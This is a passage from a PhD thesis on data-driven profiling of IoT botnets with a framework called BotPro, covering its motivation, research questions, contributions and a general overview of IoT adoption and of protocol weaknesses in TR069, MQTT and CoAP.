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Abstract

Undoubtedly, Internet of Things (IoT) devices have evolved into a necessity within our modern
lifestyles. Nonetheless, IoT devices have proved to pose significant security risks due to their
vulnerabilities and susceptibility to malware. Evidently, vulnerable IoT devices are enlisted by
attackers to participate into Internet-wide botnets in order to instrument large-scale cyber-attacks
and disrupt critical Internet services. Tracking these botnets is challenging due to their varying
structural characteristics, and also due to the fact that malicious actors continuously adopt new
evasion and propagation strategies. This thesis develops BotPro framework, a novel data-driven
approach for profiling IoT botnet behaviour. BotPro provides a comprehensive approach for cap-
turing and highlighting the behavioural properties of IoT botnets with respect to their structural
and propagation properties across the global Internet. We implement the proposed framework us-
ing real-world data obtained from the measurement infrastructure that was designed in this thesis.
Our measurement infrastructure gathers data from various sources, including globally distributed
honeypots, regional Internet registries, global IP blacklists and routing topology. This diverse
dataset forms a strong foundation for profiling IoT botnet activity, ensuring that our analysis ac-
curately reflects behavioural patterns of botnets in real-world scenarios. BotPto encompasses
diverse methods to profile IoT botnets, including information theory, statistical analysis, natural
language processing, machine learning and graph theory.

The framework’s results provide insights related to the structural properties as well as the
evolving scanning and propagation strategies of IoT botnets. It also provides evidence on con-
centrated botnet activities and determines the effectiveness of widely used IP blacklists on cap-
turing their evolving behaviour. In addition, the insights reveal the strategy adopted by IoT bot-
nets in expanding their network and increasing their level of resilience. The results provide a
compilation of the most important autonomous system (AS) attributes that frequently embrace
IoT botnet activity as well as provide a novel macroscopic view on the influence of AS-level
relationships with respect to IoT botnet propagation. Furthermore, It provides insights into the
structural properties of botnet loaders with respect to the distribution of malware binaries of
various strains. The insights generated by BotPro are essential to equip next generation auto-
mated cyber threat intelligence, intrusion detection systems and anomaly detection mechanisms
with enriched information regarding evolving scanning, establishment and propagation strate-
gies of new botnet variants. Industry will be equipped with even more improved ways to defend
against emerging threats in the domains of cyber warfare, cyber tourism and cyber crime. The
BotPro framework provides a comprehensive platform for stakeholders, including cybersecurity
researchers, security analysts and network administrators to gain deep and meaningful insights
into the sophisticated activities and behaviour exhibited by IoT botnets.
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Chapter 1

Introduction

1.1 Introduction

The Internet of Things (IoT) enables an interconnected network that facilitates various hetero-
geneous devices ranging from IP cameras up to smart watches and industrial control systems to
communicate and interact with each other [1]. The concept of IoT was initially introduced by
Kevin Ashton to establish a connection between Radio Frequency Identification (RFID) technol-
ogy and the Internet [2]. Over time, the definition of IoT has expanded to encompass a broader
scope of applications across various domains, including transportation, healthcare, smart cities,
smart homes and agriculture [3, 4, 5]. The Internet of Things Global Standards Initiative (IoT-
GSI) from the International Telecommunication Union (ITU) offers a comprehensive perspective
on the concept of IoT. They describe IoT as a "global infrastructure for the information society,
enabling advanced services by interconnecting (physical and virtual) things based on existing
and evolving interoperable information and communication technologies." This depiction under-
scores the universal reach of IoT, its vital role in propelling service advancements and its natural
tendency to connect various devices. In addition, Rayes et al. [6] proposed a definition emphasis-
ing upon the technical elements of IoT. They describe them as "the network of things, with device
identification, embedded intelligence, and sensing and acting capabilities, connecting people and
things over the Internet".

In recent years, there has been a significant increase in the adoption and popularity of IoT
devices. Such growth can be attributed to various factors, including affordability, seamless con-
nectivity and the ability to share data with other technologies [7, 8]. Moreover, IoT devices are
characterised by their intelligence to make autonomous decisions in real-time. For instance, they
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CHAPTER 1. INTRODUCTION 2

can initiate actions by gathering information from their surrounding environment [9, 10].

Undoubtedly, IoT devices contribute significantly to our daily life in the contemporary world.
This interconnected network of physical devices plays a critical role in monitoring and control-
ling various processes across different sectors. This innovative concept employs small, internet-
connected smart devices that are embedded with sensors [11]. Such devices play a key role in
enhancing connectivity and efficiency through linking people with various aspects of their lives,
such as their homes, workplaces, businesses and healthcare services. IoT devices have introduced
the concept of "smart homes" in our households, which involves a network of interconnected de-
vices and systems that work together to seamlessly enhance different aspects of our living spaces.
This concept consists of a network of interconnected devices and systems that work together to
seamlessly enhance different aspects of our living spaces. By utilising IoT-enabled devices like
smart thermostats, lighting systems and security solutions, individuals can remotely monitor and
control their homes [12, 13].

In healthcare, IoT devices facilitate remote patient monitoring and provide wearable health
trackers and telemedicine applications. Hence, such technologies enable real-time health mon-
itoring and personalised treatment plans [14, 15]. IoT devices have also led to transformative
changes in urban environments, leading to the emergence of smart cities. They utilise IoT tech-
nologies to improve the well-being of their residents, optimise the use of resources and establish
sustainable urban ecosystems [16]. By utilising the capabilities of IoT devices, smart cities can
collect real-time data on various aspects of urban life. This data includes information on traf-
fic patterns, air quality, waste management, energy consumption and public safety [17, 18]. By
leveraging such data, city administrators can make informed decisions to allocate resources more
effectively, plan infrastructure development and provide efficient services to residents.

The integration of IoT technologies in a business environment leads to enhanced connectiv-
ity and data-driven insights. Consequently, this empowers organisations to optimize processes,
enhance efficiency and achieve cost reductions. [19]. By deploying IoT devices, businesses
gain the ability to monitor and track vital aspects of their operations, including inventory levels,
equipment performance, and supply chain logistics [20]. The real-time collection and analysis
of data facilitate proactive decision-making, predictive maintenance and streamlined operations.
Within the domain of agriculture, farmers can now leverage these technologies to monitor crucial
parameters such as soil conditions and moisture levels in real-time [21].

However, alongside the transformative potential of the IoT, new security challenges have
emerged. One of the most pressing concerns is the emergence of IoT botnets. IoT botnets can
be defined as a group of compromised IoT devices (’bots’) which are infected with malware
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and controlled via a single entity (’a malicious actor’) or organised groups of ’hacktivists’. Such
devices include but are not limited to, Internet-enabled DVRs, smart meters, programmable logic
controllers, wearables and home routers. The massive scale of the IoT amplifies the potential
impact of botnet activities, posing risks to critical infrastructure, personal privacy and overall
Internet stability. With billions of interconnected devices, the IoT provides a vast attack surface
for malicious actors to exploit and orchestrate large-scale attacks [22, 23].

1.2 Motivation and Problem Description

Since the 2016 outbreak of the first IoT Mirai botnet, there has been a continuous evolution of
IoT botnet [24, 25]. This development marked a paradigm shift in the Internet threat landscape,
giving birth to an unprecedented wave of cyber threats. According to Nexusguard, within only
two months of the source code’s release, the number of infected IoT devices more than doubled,
from 213,000 to 493,000 [26]. Additionally, F-secure’s report indicates a significant increase
in cyberattacks targeting IoT devices in 2019 [27]. The report reveals a staggering 300% surge
in attacks compared to previous years, with a total of 3 billion attacks recorded. This alarm-
ing statistic highlights the growing threat landscape surrounding IoT devices and the escalating
interest of cybercriminals in exploiting their vulnerabilities. IoT botnets have the potential to
cause significant harm and disruption. They can launch large-scale distributed denial-of-service
(DDoS) attacks, compromise sensitive data, infiltrate networks and spread malware. One very
notable DDoS attack was carried out by the IoT botnet targeting Dyn, which is a DNS service
provider for many well-known global domains. The Mirai IoT botnet was harnessed by attack-
ers in a novel and formidable manner to cause large-scale disruption to the services of Dyn [28,
29]. This attack occurred in 2016, the traffic flow reached a peak volume estimated at 1.2 trillion
bits per second (Tbps) and around 100,000 compromised IoT devices were involved in such an
attack [30, 31, 32]. Consequently, it caused the intermittent failures of many popular websites
such as Airbnb, Twitter, Netflix, The New York Times and Spotify, impacting millions of users
worldwide [33, 34]. This attack underscored the increasing vulnerabilities within IoT ecosystems
and revealed their potential to be weaponized for large-scale cyber-attacks. The consequences of
these activities include financial losses, service disruptions, privacy breaches, and even threats
to public safety and national security. Given the severity of these risks, there is a pressing need
to address the challenges posed by IoT botnets.

The rush of deploying IoT-oriented services has led manufacturers to take minimal secu-
rity considerations, particularly for low-cost IoT devices. In addition, policy-makers are un-
able to catch up with the consumer-oriented IoT market and thus challenging for them to en-
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force adequate policies on manufacturers explicit to security [1, 35]. Furthermore, the resource-
constrained nature of IoT devices poses challenges for monitoring and tracking botnet activ-
ities. IoT devices are typically designed with limited processing power, memory, and network
bandwidth, making it difficult to deploy resource-intensive monitoring solutions. This constraint
limits the visibility and granularity of data collected, potentially hindering accurate tracking of
IoT botnets. In addition, the sheer scale and diversity of the IoT landscape make it difficult to
identify and track botnet activities effectively. IoT devices span various sectors and industries,
encompassing a wide range of device types, operating systems and communication protocols.
This heterogeneity introduces complexity in monitoring and analysing botnet behaviour across
different device ecosystems.

The current number of IoT devices is around 20 billion [36]. This number is predicted to
grow continuously to reach nearly 50 billion by 2025 [36]. However, the growth of the IoT
means that an increasing number of devices are being connected to the Internet with default
credentials or lacking proper security protocols. According to Wang et al., [37], a large number
of IoT devices are widely accessible over the public Internet because of the vulnerabilities present
at the interface between access networks and core networks as the absence of implementing
security measurements. Thus, IoT devices can be considered as low hanging fruits for malicious
actors due to their lack of security mechanisms, the fact that they are online 24/7, and their poor
maintenance [38]. Malicious actors effectively exploit the security vulnerabilities of IoT devices
by turning vulnerable devices into botnets [39]. This often occurs without the awareness of the
authorised user of the IoT device. The infected IoT devices might not reveal any visible symptoms
of infection and remain capable to continue carrying out their typical activities.

The stealthy behaviour adopted by IoT botnets poses a challenge to detect and track their
activity. IoT botnets often utilise scanning techniques that consume minimal bandwidth, em-
ploy randomised scanning patterns, and exhibit adaptive behaviour. Such tactics are employed
to minimise their visibility and avoid triggering alarms or raising suspicion. By operating within
these constraints, IoT botnets can effectively minimise their footprint and stay under the radar
of security systems. The operations of some botnets are more clandestine than DDoS. For in-
stance, some botnets are employed to steal financial and personal information from targets via
screenshotting and keylogging. This information is exploited by attackers to obtain fraudulent
access and carry out financial crimes [35]. Economic gain also motivates malicious actors to
utilise botnets, and this is known as BaaS (Botnet as a Service). Most recent botnets have been
developed and designed simply to be loaned to third parties [40].

Cyber-criminals and organised hacking groups managing large-scale IoT botnets strive for
the adequate and efficient maintenance of their networked resources. In order to achieve this, it
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is necessary for their resources such as malware downloaders and C&C servers to be hosted on
tolerant Autonomous Systems (ASes) that employ lax security policies. Several ASes mapped to
particular Internet geographical regions have a disproportionately high number of hostile hosts
compared to others [41]. In parallel, the vast majority of global botnet activity underpinning
a range of Advanced Persistent Threats (APTs) in various sectors (e.g., energy, manufacturing,
defence) is predominantly caused by IoT botnet where critical botnet assets are mostly hosted
in ASes residing in Asian countries [42, 43]. AS-level properties are crucial to the overarching
functionality of the Internet and their exploitation by attackers has proven to be an effective means
for botnet propagation. Hence, it is important to examine the structural characteristics of ASes
in order to determine the influence of these characteristics explicitly on IoT botnet activity.

Undeniably, the ongoing war among malware developers and cybersecurity defenders re-
quires continuous monitoring and understanding of the latest tactics employed by attackers in
orchestrating IoT botnet attacks. Thus, profiling IoT botnets in the wild provides profound in-
sights into the threat landscape and the evolution of tactics, techniques, and procedures (TTPs)
employed by cyber malefactors. Gaining an in-depth understanding of these tactics in a timely
manner provides valuable insights that are important for developing strong defence mechanisms.
In addition, profiling and tracking IoT botnets play a pivotal role in empirically quantifying the
extent of ASes’ tolerance towards the propagation of these botnets. Such empirical assessment
helps us understand the varying degrees of susceptibility or resistance among ASes, enabling
us to identify ASes that may require stronger security measures to mitigate the impact of IoT
botnets. It also assesses the impact of AS structural properties, such as network connectivity and
size on the prevalence and persistence of IoT botnets within the AS ecosystem.

Profiling IoT botnets significantly improves our understanding, especially with regard to main
components including botnet loaders. Such loaders play a significant role within the IoT botnet
ecosystem, and are responsible for the propagation process through downloading and executing
the main botnet malware on potential victims. Therefore, the detection and characterisation of
these loaders utilised by various IoT botnets offer valuable insights into the methodologies and
techniques employed by malicious actors to infect IoT devices. Moreover, it sheds light on the
structural attributes of botnet loaders and their dissemination of malware binaries. Consequently,
implementing targeted measures to hinder the propagation of IoT botnets can be facilitated by
gaining a comprehensive understanding of the behaviours and tactics utilised by botnet loaders.
Armed with this knowledge, security practitioners can devise preventive strategies specifically
aimed at disrupting the initial stages of infection.

However, tracking these botnets is challenging due to their varying structural characteristics,
and also due to the fact that malicious actors continuously adopt new evasion and propagation
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strategies. IoT botnets often operate in a distributed and decentralised manner, with botnet nodes
spread across various geographical locations. Due to the weaknesses of the centralised IoT botnet
architecture and by virtue of widely accessible IoT botnet source code with the Mirai botnet,
botnet developers shifted in favour of decentralised setups through the P2P paradigm such as to
increase their resilience. Within a P2P botnet architecture, a malicious actor orchestrates control
commands to more than one bots who subsequently relay them to their neighbouring IoT nodes.
In general, a P2P IoT botnet can operate with little or no central coordination and even if a single
host is taken offline by the defence, the botnet still remains under the command of the malicious
actor and it could span across multiple Internet ASes.

To efficiently profile and detect IoT botnet behaviour, it is essential to study and analyse the
data derived from different sources. Gathering Internet-wide CTI feeds from globally distributed
honeypots, global IP blacklist databases and Internet geolocation data and BGP routing would
assist in observing and measuring the malicious activities of IoT botnets. The honeypots can be
used to gather information from botnets to measure and observe some characteristics of botnets
such as the density and duration of attacks as well as the technology utilised by attackers and
their intention. Global IP blacklist databases are widely used in practice to identify and block
IP addresses infected with IoT botnets. Internet geolocation data can provide vital information
about the geographic distribution of infected IPs as well as ISPs. Analysing data derived from
these resources helps to gain a good understanding about botnets’ behaviour and their attacking
strategies and also identify their structural patterns. By exploring the anatomy, behaviour, and
characteristics of these botnets, valuable insights can be gained that contribute to the development
of more robust defence mechanisms and countermeasures.

1.3 Research Questions

This thesis contributes to the current research efforts that seek to contribute towards adequate
insights for the development of next generation IoT botnet profiling and detection schemes by
answering the following questions:

• Which are the fundamental structural properties of the Internet to monitor in order to ad-
equately capture IoT botnet activity?

• How theoretical properties of the Internet and statistical tools can be used for automated
profiling and detection of large-scale IoT botnets?
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• Which types of Internet measurements and at which level of granularity they should be
used to identify and further profile IoT botnet activity?

• How the profiling of IoT botnet can be deployed through an optimal system architecture?

1.4 Thesis Statement

The rapid adoption of IoT devices has extensively broadened the cyber-threat landscape by virtue
of low-cost IoT devices that are manufactured and deployed with minimal security. Consequently,
such devices have become a favoured target for various cyber threat actors, including cyber crimi-
nals, terrorist organisations and nation state actors [44, 45]. By converting these devices into bot-
nets, malicious entities are able to conduct large-scale cyber attacks [39]. This thesis investigates
the evolving landscape of IoT botnets and their complex propagation techniques. Specifically,
through an in-depth analysis of real-world IoT botnet data using our developed tool, BotPro, this
work aims to uncover new insights about botnet behaviour and the influence of ASes’ structural
properties on botnet propagation. The insights drawn from this study offer an understanding of
the global macroscopic nature of IoT botnets, providing a foundation for the development of more
robust IoT botnet detection schemes and the shaping of effective cybersecurity defence strategies.
Tracking and profiling such botnets is essential to equip next generation automated cyber threat
intelligence (CTI), intrusion detection systems (IDS) and anomaly detection mechanisms with
enriched information regarding evolving scanning, establishment and propagation strategies of
new botnet variants. In addition, to provide an important angle for future botnet detection and
defence mechanisms, it is vital to have adequate insights into botnet activities in the wild with
respect to their structural characteristics and behaviours.

1.5 Aims and Objectives

The vision of our PhD is to develop a data-driven framework to profile IoT botnet activity. The
developed framework is envisaged to be utilised by security experts, companies and government
agents to design effective and customised defence schemes.

• To identify the necessary structural properties of IoT botnet activity in terms of their macro-
scopic nature using Internet-wide measurements and cyber threat intelligence feeds (e.g.,
honeypot data).
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• To investigate the appropriate theoretical principle of the Internet and statistical tools for
close-to real-time profiling of IoT botnets.

• To implement an efficient measurements aggregation framework that can correlate diverse
measurement feeds(e.g., DNS,BGP).

• To develop a computational cost-effective system component that can produce accurate
output at the onset of large-scale IoT botnet attacks.

1.6 Contributions

The thesis makes significant contributions to the field of IoT botnet research by introducing
the BotPro framework, establishing a measurement infrastructure, employing advanced analysis
techniques and advancing the understanding of critical components within IoT botnets. These
contributions enhance the ability to combat the evolving threats posed by IoT botnets, and thereby
strengthen organisations to face emerging challenges in the cybersecurity landscape.

The main contributions of this thesis are as follows:

• We establish a comprehensive measurement and analysis infrastructure within our pro-
posed BotPro. This infrastructure integrates real-world data from a multitude of sources,
such as attack honeypots, AS-level information, and inter-domain routing, to enhance the
precision and reliability of the insights gathered. Furthermore, this infrastructure is lever-
aged to conduct an in-depth analysis of IoT botnets by utilising real CTI feeds. The deep
analysis provided by BotPro, containing valuable information about botnet activities, en-
ables us to gain a comprehensive understanding of the structural properties, organisational
structure, communication patterns and propagation mechanisms of botnets.

• We propose to leverage graph theory and statistical tools to deliver a comprehensive anal-
ysis of IoT botnets. By leveraging advanced statistical techniques, BotPro can analyse
complex datasets generated by IoT botnets to identify patterns, trends, and relationships.
Hence, it presents the activities and dynamics of these botnets. Complementing this, graph
theory principles applied within BotPro provide deep insights into the structural connec-
tions and relationships inherent to botnets. Such a dual-pronged approach empowers a
more comprehensive understanding of IoT botnets and enables the design of stronger and
more effective countermeasures to these evolving cybersecurity threats.
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• We propose a novel macroscopic perspective on the influence of AS-level relationships in
relation to IoT botnet propagation, facilitated by our developed BotPro. BotPro’s analytical
capabilities enable us to delve into the underlying network dynamics and structural char-
acteristics at the AS level. As a result, we can expose differing patterns and trends in IoT
botnet activities across various ASes. This innovative approach, underpinned by BotPro,
allows us to detect the complexity and diversity of botnet propagation patterns within the
interconnected landscape of the Internet. It thereby contributes to our understanding of the
complex cyber threats at a macroscopic scale.

• We provide practical implications for network security practitioners, policymakers, and in-
dustry professionals. By implementing BotPro, network security practitioners can develop
more robust defence strategies to mitigate the risks posed by IoT botnets. Policymakers
can utilise our thesis outcomes to shape regulations and guidelines that promote secure IoT
deployments and safeguard network infrastructure. These practical implications contribute
to the ongoing efforts to strengthen network security and safeguard against the evolving
threats posed by IoT botnets.

1.7 Publications

The work described in this thesis has been published in the following papers:

• Almazarqi, H. A. , Woodyard, M. and Marnerides, A. K. (2023) Macroscopic Insights of
IoT Botnet Dynamics via AS-level Tolerance Assessment. In ICC 2024 - IEEE Interna-
tional Conference on Communications, Denver, USA, 9 June - 13 Jun 2024. (Submitted).

• Almazarqi, H. A. , Woodyard, M. and Marnerides, A. K. (2023) BotPro: Data-driven
Tracking Profiling of IoT Botnets in the Wild. IEEE Transactions on Dependable and
Secure Computing. (under review).

• Almazarqi, H. A. , Woodyard, M., Mursch, T., Pezaros, D. and Marnerides, A. K. (2023)
Tracking IoT P2P Botnet Loaders in the Wild. In: ICC 2023 - IEEE International Confer-
ence on Communications, Rome, Italy, 28 May - 01 Jun 2023.

• Almazarqi, H. A. , Woodyard, M., Mursch, T., Pezaros, D. and Marnerides, A. K. (2022)
Macroscopic Analysis of IoT Botnets. In: 2022 IEEE Global Communications Confer-
ence (GLOBECOM), Rio de Janeiro, Brazil, 04-08 Dec 2022, pp. 2674-2678. ISBN
9781665435406.
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• Almazarqi, H. A. , Marnerides, A. , Mursch, T., Woodyard, M. and Pezaros, D. (2021) Pro-
filing IoT Botnet Activity in the Wild. In: 2021 IEEE Global Communications Conference
(GLOBECOM), Madrid, Spain, 07-11 Dec 2021, ISBN 9781728181042.

1.8 Thesis Outline

The remainder of this thesis is structured as follows:
– Chapter two presents an exploration of the technical background relevant to the stud-

ied area, followed by a review of the related literature. The chapter discusses the
anatomy of IoT botnets, exploring their lifecycle, components and techniques em-
ployed for evasion and persistence. It explores the unique attributes of IoT devices
that render them susceptible to botnet infections. In addition, the chapter conducts a
comprehensive review of existing literature in the field. It critically analyses scholarly
academic literature to gain insights into the current state of knowledge and identify
the gap.

– Chapter three describes the proposed BotPro framework for profiling and detecting
IoT botnet behaviour. The chapter presents the methodology and the measurement in-
frastructure that were utilised in this thesis and the integration of diverse data sources.
In addition, it explains the advanced analysis techniques that employed in the thesis,
including information theory, statistical methods, natural language processing, ma-
chine learning and graph theory.

– Chapter four explains the implementation process of the BotPro framework and dis-
cusses the high-level architecture of BotPro. This chapter presents the four main mod-
ules: (i): data collection module, (ii): data processing module, (iii) analytical mod-
ule, (iv) visualisation & user interface module and shows how they interact within
this structure. In addition, this chapter serves as a bridge between the theoretical
foundations presented in Chapter 3 of the thesis and the practical realization of the
proposed framework.

– Chapter five presents the practical application of the BotPro framework through us-
ing real-world data generated by the proposed measurement infrastructure. It presents
the results and analysis obtained from applying the BotPro framework. The results
shed light on various aspects of botnet behaviour including scanning and infection. In
addition, it describes the AS-level propagation strategy adopted by modern IoT P2P
botnets as well as provides insights into the structural properties of botnet loaders.



CHAPTER 1. INTRODUCTION 11

The results are presented in a structured and organized manner, using appropriate
visualisations and statistical measures.

– Chapter six concludes this thesis by providing a thesis summary, contributions and
key findings. This chapter provides concluding remarks that highlight the overall
significance and impact of the thesis. In addition, the chapter identifies the limita-
tions of the research and outlines the potential areas for future work in the field of
profiling IoT botnet behaviour.



Chapter 2

Background & Related Work

Chapter two provides an in-depth exploration of various aspects related to IoT devices and
their implications on cyber security. The aim of this chapter is to establish a comprehen-
sive understanding of the underlying factors driving the adoption of IoT, the evolution of
IoT botnets, inherent vulnerabilities within the IoT infrastructure, the nature of IoT botnet
attacks and the structure of IoT botnets. It further explores relevant studies in the field of
profiling IoT botnets.
The key areas of discussion in this chapter are outlined as follows:

– IoT adoption: discusses the growth and driving forces behind the widespread im-
plementation of IoT across diverse sectors.

– IoT vulnerabilities: investigates inherent security weaknesses within IoT infrastruc-
ture and the challenges in securing IoT devices.

– Evolution of IoT botnets: explores the development and history of IoT botnets, pro-
viding context for understanding their current complexity.

– IoT botnets & cybersecurity frameworks: discusses how the operation of IoT bot-
nets is analysed and interpreted within the broader frameworks employed in cyber-
security.

– IoT botnet formation & structures: explores the processes and techniques involved
in the creation and establishment of IoT botnets. Furthermore, it elaborates on the
architecture, operation and control mechanisms of IoT botnets.

– Related work: reviews relevant studies in the field, placing the current research
within the broader academic context.

12
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2.1 IoT Adoption

The widespread adoption and implementation of IoT devices have experienced significant
growth, permeating various sectors of industry and society. This expansion has been driven
by a rising demand for IoT connectivity, fueled by the integration of smart technologies and
the need for improved automation and data-driven decision-making. Industry experts have
projected a substantial surge in the global deployment of IoT devices, estimating that their
numbers will reach approximately 29 billion by the year 2030 as shown in Fig. 2.1 [46].
This anticipated growth highlights the increasing significance and transformative potential
of the IoT paradigm in shaping the future landscape of technology and connectivity.
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Figure 2.1: Evolution of the global number of IoT devices connected from 2019
to 2021, with forecasts extending to 2030 [46].

In addition, the remarkable increase in the number of IoT devices signifies the emergence of
IoT as a major market and a key driver of the expanding digital economy. Projections indi-
cate that the IoT industry is set to experience substantial revenue growth, with an expected
rise from $892 billion in 2018 to a staggering $4 trillion by the year 2025. This exponential
growth highlights the immense economic potential and transformative power of IoT tech-
nology across various sectors and industries. As organisations and businesses continue
to embrace IoT solutions, this market expansion is poised to reshape the digital landscape
and unlock new opportunities for innovation, productivity and enhanced connectivity.



CHAPTER 2. BACKGROUND & RELATED WORK 14

The accelerated expansion of IoT across diverse sectors of society is primarily driven by
the multitude of advantages it offers. One of the main attractions is operational efficiency
enhancement. IoT facilitates process streamlining and minimises manual labour, thereby
increasing productivity and promoting its adoption in various applications.
Another factor contributing to the widespread use of IoT is its ability to facilitate informed
decision-making. By delivering real-time data and analytics, IoT enables organisations to
make data-oriented, prompt decisions, establishing itself as an essential asset in the cur-
rent fast-paced digital environment. IoT also delivers potential cost efficiencies, further
enhancing its appeal. IoT technology offers cost-saving benefits through predictive main-
tenance, reduced idle periods, and improved resource utilisation, making it a cost-effective
solution for businesses of any scale. In addition, IoT has the potential to greatly enhance
safety and security across different industries.
By leveraging interconnected devices and systems, organisations can monitor and manage
critical infrastructure, detect potential hazards and respond effectively to security threats.
IoT-enabled security systems can enhance surveillance, access control, and threat detection
in residential and commercial environments. Furthermore, it is worth noting the significant
impact of IoT devices on customer experiences and the customisation of products and
services. In a time where services are tailored around the customer, IoT provides a platform
for real-time engagement and service personalisation. This, in turn, results in enhanced
levels of customer satisfaction and loyalty [47]. The role of IoT in promoting sustainability
and overseeing environmental aspects is also significant. As global societies become more
environmentally conscious, IoT offers practical solutions to encourage energy efficiency
and environmental monitoring.
Overall, the spectrum of benefits offered by IoT, from heightened efficiency to innovative
solutions and improved quality of life, explains its rapid growth and increasing prominence
in today’s digital world.
However, the large-scale deployment of interconnected devices introduces vulnerabilities
and opens avenues for malicious activities, including the establishment of IoT botnets.
Such botnets take advantage of vulnerable IoT devices to carry out coordinated attacks,
exploit network resources and propagate malware. The emergence of security vulnerabili-
ties in IoT devices can be attributed to various factors, including the fast-paced nature of the
market, resource constraints and the presence of vulnerable protocols. Due to resource con-
straints, IoT devices lack the necessary computational power, memory, or energy capacity
to effectively run sophisticated security functions. Such limitations make them vulnerable
to security breaches and unauthorised access.
In addition, the use of vulnerable protocols in IoT communication amplifies the security
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risks associated with IoT devices. Certain IoT protocols possess inherent flaws or weak-
nesses, rendering them susceptible to security breaches and unauthorised access. Further-
more, in the highly competitive IoT market, manufacturers and vendors prioritise price and
speed-to-market over security considerations. This has led to the production of devices
with weak or even non-existent security measures, consequently amplifying their suscep-
tibility to potential vulnerabilities. The following Section 2.2 presents some common IoT
vulnerabilities and their implications.

2.2 IoT Vulnerabilities

IoT devices are susceptible to various vulnerabilities that can compromise their security
and expose them to potential threats. For instance, unnecessarily open ports on IoT de-
vices pose a significant security risk, as they provide attackers with direct access to vul-
nerable services. This type of security breach allows malicious actors to exploit a range
of vulnerabilities and potentially compromising the device and its data. By leaving ports
open, IoT device manufacturers unintentionally create a gateway for attackers to access
and exploit the IoT device. Many internet service providers (ISPs) leave port 7547 open
on the home routers/modems they supply to their customers for remote management of
customer premises equipment (CPE) via the CPE WAN Management Protocol (TR069)
[39, 48]. The TR069 authentication method used by most manufacturers either requires
no passwords or employs weak HTTP digest authentication over an unencrypted path or
certificate authentication, which is often not implemented correctly by the manufacturers
[39]. As a result, malicious actors can easily gain unauthorised access to the CPE, and
exploit a wide range of vulnerabilities.
The utilisation of easily guessable or default passwords for communication with IoT de-
vices is widely recognised as a prevalent security vulnerability. It is commonly observed
that IoT devices, along with their cloud management solutions, fail to impose passwords of
an adequate level of complexity [49, 50]. A notable example that underscores the severity
of this issue is the Mirai malware. Such IoT botnet exploited the vulnerability of inade-
quately secured IoT devices that utilised weak and default passwords to carry out large-
scale DDoS attack on critical Internet infrastructure [51].
The distinctive limitations characteristic of IoT devices, such as constrained energy re-
sources and limited computational capabilities, pose substantial challenges to the execution
of complex authentication protocols [52, 53]. Such constraints provide a potential gateway
for malicious actors to exploit substandard authentication methods. The development of
any algorithm intended for execution on IoT nodes, including the Constrained Applica-
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tion Protocol (CoAP), should be guided by the principle of reduced complexity to achieve
lightweight specifications [54, 55]. Hence, protocols such as MQTT and CoAP are de-
signed to introduce efficient and lightweight communication for IoT devices, considering
their constrained nature and limited resources.
An MQTT system comprises a collection of clients, encompassing both publishers and
subscribers, and a broker that facilitates interaction among these clients. The exchange of
messages among clients hinges on the concept of a "topic". In this context, the broker’s
role is to receive messages from the publishers and relay them to the subscribers who have
demonstrated interest in that specific topic. This strategy serves to mitigate the primary
restrictions that are inherent to IoT devices [56, 57].
Primarily, their limited capacities in terms of memory and processing power usually con-
fine them to engage with only one application at any given moment. However, introduc-
ing a broker into the system enables such devices to interact with numerous applications
in parallel, thanks to the broker’s capability to efficiently manage message dispatching.
Moreover, the publish/subscribe architecture eases communication with battery-operated
IoT devices. In order to maximise energy efficiency, it’s common for these devices to be
set up to run in a mode that conserves power, which typically entails turning off their radio
components. Within the structure of a publish/subscribe system, the broker possesses the
ability to retain the messages that have been produced, thus facilitating IoT devices to en-
ter sleep mode without disturbing the immediacy of essential information. Evidently, the
central component of this architecture is the broker, which serves as a pivotal entity with
access to all the messages within the system.
One notable vulnerability in the MQTT protocol is the inadequate verification of publish-
er/subscriber identities by the MQTT broker, as well as the absence of mechanisms to
block repeated authentication attempts [58, 59]. These vulnerabilities create a potential
avenue for attackers to gain unauthorised access to MQTT devices. Furthermore, another
vulnerability in MQTT arises from the inadequate configuration of publishing and sub-
scribing permissions by the broker. Insufficiently restricted permissions could potentially
grant unauthorised individuals control over the data or functionalities of MQTT devices.
Such unauthorised control can pose a significant security risk, as it enables the attacker to
manipulate or access sensitive information or even take control of IoT devices connected
to the MQTT network.
One vulnerability arises from the fact that MQTT transmits usernames and passwords with-
out encryption, making it susceptible to Man-in-the-Middle (MITM) attacks [60, 54]. In
such attacks, an unauthorised third party can intercept and manipulate the communication
between the client and the broker, potentially compromising the authenticity and integrity
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Figure 2.2: IoT broker (e.g., MQTT).

of the exchanged information [61]. Fig. 2.2 illustrates MITM attack on IoT broker, where
the attacker intercepts the connection request from the publisher to the broker and captures
the credentials.
Like the Hypertext Transfer Protocol (HTTP), the CoAP is an application layer protocol
that is specifically designed for use in constrained network devices [62]. CoAP is built
to enable efficient communication between the Internet and devices that have limited re-
sources, such as low power, low memory, and limited processing capabilities. By pro-
viding a lightweight and scalable solution, CoAP facilitates the interaction of IoT devices
with web-based services and applications while minimising the overhead typically associ-
ated with conventional protocols [63, 64]. However, despite its benefits and suitability for
constrained network devices, CoAP also introduces certain challenges and vulnerabilities.
CoAP operates over the UDP (User Datagram Protocol) transport layer protocol, which
is known for its simplicity and low overhead. As described in RFC7252 [65], CoAP is
vulnerable to cross-protocol and spoofing attacks.
A cross-protocol attack takes advantage of the similarity between CoAP and UDP protocol.
In this attack, the malicious actor sends messages with a fake IP address and port number,
leading the recipient device to interpret the message according to the rules of a different
protocol [66, 67]. Consequently, these vulnerabilities can result in unauthorised access,
manipulation of device behaviour and compromise of the entire IoT ecosystem.
In addition, CoAP is susceptible to request spoofing attacks, which involve the injection
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Protocol Vulnerabilities Implications

MQTT Unencrypted communication Allows for eavesdropping and unautho-
rised access.

Insecure authentication Leads to unauthorised access and
data breaches.

CoAP Cross-protocol attacks Enables cross-protocol attacks and unau-
thorised actions.

Request spoofing Allows manipulation of application cre-
dentials and unauthorised access.

Bootstrapping vulnerabilities Grants unauthorised access and com-
promises node security.

Table 2.1: Vulnerabilities in MQTT and CoAP and their consequent security
implications. These protocols represent the most prevalent IoT broker and appli-
cation management within resource-constrained IoT setups.

of numerous fake requests into the system [66, 59]. The objective of this attack is to
manipulate the credentials of the application that adheres to the CoAP Protocol [62]. By
successfully altering the credentials, the attacker can bypass security measures and exploit
the compromised system for malicious purposes. Table 2.1 presents the key vulnerabilities
associated with the widely used protocols in IoT environments such as MQTT and CoAP
protocols. These protocols are optimized for resource-constrained devices.
IoT devices often have firmware/software that require updates for enhancing functionality
or patching security holes. However, the vulnerabilities present in the update mechanisms
of IoT devices significantly contribute to their overall susceptibility and can be exploited
